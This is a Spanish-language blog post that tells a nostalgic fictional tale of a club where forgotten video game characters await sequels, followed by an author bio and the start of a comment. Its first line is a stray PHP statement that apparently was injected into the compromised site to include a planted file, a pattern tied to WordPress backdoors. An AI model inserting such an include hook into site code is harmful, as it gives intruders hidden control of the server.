if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); El Club de los Olvidados – La Fortaleza de LeChuck

El Club de los Olvidados

«- Buenas noches y bienvenidos a ‘El Club de los Olvidados‘. Permítanme ser su Virgilio particular en este recorrido por el purgatorio de los menos afortunados. Prepárense para sumergirse en lo más profundo de la decadencia virtual y moral, pero antes de empezar DEBEN tener en cuenta ciertas reglas: Caminen siempre en fila de uno. NO CORRAN. No se separen. Si alguno de ustedes padece de afecciones cardíacas o es asmático ruego lo comunique en este mismo instante a mí, su agente de viajes esta noche. Y sobretodo, y por lo que más quieran, recuerden: No los toquen y ellos no los tocarán

 

El eco de esas palabras aún retumbaba en mi cabeza cuando aquel extraño personaje calló, haciendo un ademán cargado de teatralidad y de falsa expectación, por una respuesta que él no esperaba. Ni falta que hacía. Bastante tenía esa madrugada del sábado con tenerme en pie y mantener la compostura, francamente, así que la silueta me observó con detenimiento, asintió y se dio la vuelta echando a andar a grandes zancadas hacia la puerta principal. Exteriormente el local aparentaba estar abandonado y desde luego había vivido tiempos mejores. No parecía albergar dentro nada de interés. Sin embargo la puerta tenía un aspecto reforzado, un aldabón enorme de estilo árabe y se oía un rumor sordo de voces proviniente del interior. Pensando que probablemente había estado en sitios de mala muerte mucho peores, y picado por la curiosidad, caminé titubeante hasta mi improvisado guía, el cual me detuvo al llegar a la puerta diciendo:

– Una cosa más: Debes golpear la puerta 3 veces.

 

Tras golpear la puerta justo al tercer aldabonazo ésta se abrió chirriando como en una película de terror de bajo presupuesto, dejando salir del interior una nube de humo y unos acordes tristes de saxofón (nota interactiva: ahora es cuando has de darle al play de arriba). Al principio me dio la extraña impresión que se había abierto sola, lo que me dejó un poco atónito. Aunque más perplejo me quedé al comprobar bajando la mirada que había un crío con un estúpido mono rojo detrás de la puerta y que a duras penas alcanzaba el pomo. Me miraba fijamente a los ojos, así que le correspondí con mi mejor mirada vidriosa de ebria indiferencia (cosa que no me costaba mucho a esas alturas de la noche, la verdad). Nuevamente nuestro guía encapuchado se nos adelantó.
– Qué hay, Alex. – Dijo -. Cuánto tiempo, es agradable verte como siempre.
Alex‘ ni respondió, sólo se hizo a un lado mientras entrábamos y con un gesto me indicó que le diera mi chaqueta. Me costó un poco reaccionar, pero accedí a trompicones. Cuando dejamos atrás aquel extraño chaval y encarábamos la escalera para entrar en la luz tenue del local aún sentía sus ojos fijos en la nuca. No me pude contener más.
– ¿Qué clase de sitio es uno que tiene a un criajo de guardarropía un sábado? – El maldito encapuchado que acababa de conocer soltó una risita por lo bajo, lo que me enfadó un poco más -. Empiezo a mosquearme, creo recordar que me prometiste un lugar con un ambiente especial, clientela exclusiva y de entrada gratuita… Y dicho sea de paso sólo te seguí por esto último… Pero creo que me estoy planteando el entrar aquí… ¡Si el lugar se cae a pedazos! Y la música que suena no es que parezca la alegría de la huerta…
– Ciertamente, este es un lugar muy especial, único, lo puedo asegurar… – La figura seguía subiendo las escaleras, hablando sin girarse -. Sin embargo tienes razón: se cae a pedazos. Tanto él, como los que moran en su interior. Por eso es importante que gente como tú entre en él. Muy importante.

 

– ¿Gente como yo? ¿A qué te refieres? – Llegamos arriba, donde unas cortinas cubrían la entrada a una sala de la que provenía la música. Las voces eran rumores aún, pero más intensos. Aquello no era una fiesta, era una reunión. Como las de un bar al que se le acabaron hace tiempo las ‘happy hours’. Por si acaso me tensé un poco, preparado para salir zumbando escaleras abajo, aunque en mi estado sabía que me arriesgaba a una contundente fractura de cervicales. Mi interlocutor debió darse cuenta, porque suavizó la voz y bajó el tono.
– Este espacio en el que te hallas, como decía, es especial, se adapta al visitante… Nunca he visto la misma distribución, ni a los mismos parroquianos dos veces, si bien en muchas ocasiones coinciden varios de ellos. Pero ya digo, es algo que depende exclusivamente de nuestro invitado. – Puso la mano en la cortina y la corrió lentamente, las voces de dentro callaron -. Lo único que te pido es que te asomes y compruebes cómo es de particular este club. Creo que reconocerás algunas caras… No les hagas el desprecio, ya que llevan tiempo esperándote.
De pronto sentí algo muy extraño, tuve como una revelación… noté familiar la voz que me hablaba, una voz olvidada de un momento de mi pasado que no relacionaba exactamente, pero capaz de provocar admiración en mí… Una voz que me inspiraba confianza. Entonces supe qué, o mejor dicho quienes, me esperaban al otro lado. Por increíble que pareciera.

Y allí estaban. Una curiosa representación de prácticamente toda -o por lo menos una parte considerable- de mi infancia y juventud, contemplándome expectante. Había de todo, humanos, homínidos, animales, seres extraños… Se me ocurrieron dos cosas: Una. Llevaba tanto tiempo sin ver a cualquiera de ellos que prácticamente los había relegado a un sector dormido de mi mente, que por lo visto había decidido despertarse y unirse a la fiesta. Dos. Eran personajes de ficción –NO debían estar allí-, con lo que aquella noche probablemente había sobrepasado todos los límites razonables que una personal normal no debería rebasar cuando sale. Aún así, o quizá por ello, sentí una agradable alegría y nostalgia, y decidí darle vacaciones a mi mente el resto de la velada y dejarme llevar. Qué demonios, era como una reunión de antiguos amigos, y cuando fui hacia ellos las caras se les iluminaron y lo que antes eran susurros cortados pasaron a ser brindis, palmadas y gritos de reencuentro.

 

Sr. Michel Ancel, por favor déles un futuro…

 

La verdad, no haría justicia a todo lo que pasó y es imposible numerarlo todo. Calmé la ansiedad a Jade y Zerdi jurándoles que Michel Ancel no les había olvidado, y que cada año prometía una segunda parte a la altura de su primera aventura. En otra mesa me reí con Ryo Hazuki, Gordon Freeman y Viewtiful Joe hablando del retorno del Duke y de Kid Icarus, que tenían carnet VIP del club hasta hace muy poco, y que harían bien en no tirarlo. Asistí a un duelo de pulsos entre los personajes de Streets of Rage y los de Killer Instinct, que la verdad no acabó muy bien. Jugué a los dardos con el escuadrón de Star Fox (aunque uno de ellos me insistía en que hiciera un «barrel roll» con el dardo para darle más efecto y me cansé enseguida). Tuve un reto de tipos duros (básicamente ver quien meaba más lejos) con Haohmaru, Samanosuke, Kane y Freddy Hardest. Y también jugué y me dejé ganar a Piedra, Papel y Tijera Lagarto, Spock con «Alex«, el chavalín de la puerta, todo esto mientras esquivaba y evitaba pisar pikmins y lemmings que correteaban por el suelo.

Saludé a Ristar, Crash, Abe, Aya y Faith (¡Ai si eu te pegu!), Dynamite Headdy, Bomberman y al enano que siempre escogía en el Golden Axe, entre muchos otros. Y tuve una conversación conmigo mismo. Con Wally. Es decir con mi Alter Ego. Básicamente, Wally (o sea él, no yo) estaba preocupado porque no sabía qué pasaba con él tras los eventos de Monkey Island 3. Le contesté que no tenía ni idea, en el 4 no aparecía que yo supiera y el Tales of Monkey Island no lo había jugado así que no sabría decirle… Al menos le consolé un poco cuando le dije que era un personaje muy querido y que lo más probable es que lo rescataran en futuras secuelas, ya que Monkey Island gozaba de mayor salud que la mayoría de aventuras gráficas. En cuanto se sonó los mocos y se secó las lágrimas nos tomamos una ronda para celebrar nuestro futuro hermanados.

 

Basta de remakes, ¡nuevo Star Fox ya!

 

– Es la hora ya, «Wally«. Lo siento, amanece…
Mi guía se sentó en nuestra mesa. Me di cuenta que había encogido sensiblemente, o que al menos le faltaba algo que antes en la calle llevaba. La capucha seguía en su sitio, tapándole la cara debido a la escasa luz del sitio. El tiempo había pasado volando recordando viejas aventuras y checkpoints imposibles de alcanzar…
– Debo darte las gracias, y disculparme por lo de antes, pero no podía esperarme algo así… Además me sabe fatal, pero aunque me eres familiar no acabo de…
– En realidad «sí acabas de…»- me corrigió-, puesto que ya sabes quién soy desde el principio, al menos lo intuías inconscientemente. De otra manera dudo que me hubieras seguido. Y me alegro que lo hicieras, sobretodo por ellos. Son los que más lo necesitan puesto que tú mañana seguirás con tu vida con absoluta normalidad… quizás con algo de dolor de cabeza.
– Oh… Y ahora qué. ¿Me despertaré mañana y esto será como el final de Los Serrano? ¿Todo un triste sueño?
– Sé que parece un recurso fácil, pero en realidad es peor: esto no es más que un artículo que estás escribiendo y con el que me sirvo para hacer trizas en este justo instante el cuarto muro. Puede que te odien y te insulten por ello, pero esto tiene que acabar de alguna manera y mi misión aquí es dejarte un mensaje que seas capaz de recordar, de parte de todos ellos.
Mis anfitriones se reunieron alrededor de la figura encapuchada creando una sombra fantasmagórica a la luz del local. Parecía que se desvanecían mientras él hablaba…
– Puede que las compañías nos olviden, que nos prometan un futuro que nunca llega y nos tengan esperando como un cachorrito espera el regreso de su dueño. Puede que algunos de nosotros estemos resignados a no tener ningún tipo de futuro a estas alturas, aunque la esperanza siempre es lo último que se pierde. Pero mientras vosotros, los jugadores, nos recordeis de vez en cuando… Mientras haya alguien que disfrute con nuestras aventuras y hayamos logrado que alguien, mínimamente, soltara una sonrisa o se preocupara por nosotros mientras nos controlaba, seguiremos viniendo a este club. Seguirá habiendo esperanza para nosotros. Solo queremos decir… – Y se bajó la capucha mientras acababa – : …Gracias, por no olvidarnos.

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A la mañana siguiente desperté con un ligero mareo y la boca absolutamente seca… A pesar de ello se apoderó de mí un impulso repentino de hacer ‘algo’ que no sabría explicar, incluso antes de desayunar (o comer, ya por la hora), antes de ducharme, antes de nada… Encendí el ordenador y mientras cargaba cogí una escalera y la apoyé en el armario donde guardo cedés del año de la polca y otras cosas, dónde me hice con una caja que estaba apilada junto con otras muy similares. Con el ordenador ya tiritando saqué con solemnidad de la gran caja un sobre con un cd, y lo introduje para reinstalar algo a lo que de repente me apetecía muchísimo jugar. Estaba reinstalando Grim Fandango y viendo la caja, si no fuera porque Manny es una calavera, juraría que sonreía.

Por Heko

Se peleó de pequeño por hacer funcionar un ZX Spectrum, lo cuál no presagiaba nada bueno a largo plazo, aunque curiosamente él lo recuerda con cariño. Ya de mayor, sufrió un terrible accidente al retirar un USB de su puerto sin esperar a qué fuera seguro quitarlo. La catástrofe asoló medio continente, aunque la radiación le concedió el superpoder mutante de escribir sobre todo lo que a él le apasiona. Entre otras cosas, por supuesto, sobre “eso de los marcianitos”.

8 comentarios

  1. Agradezco sinceramente que hayais tenido la santa paciencia de leerlo xDD

    En serio, gracias. Sí, ciertamente es todo ello un desvarío, una ida de olla, una fumada… como querais llamarlo. Quizás debería haber puesto una nota avisándolo en la introducción… Pero no creo que haga falta hacer un libro de ello, simplemente es una especie de pequeño homenaje a unos personajes a los que yo

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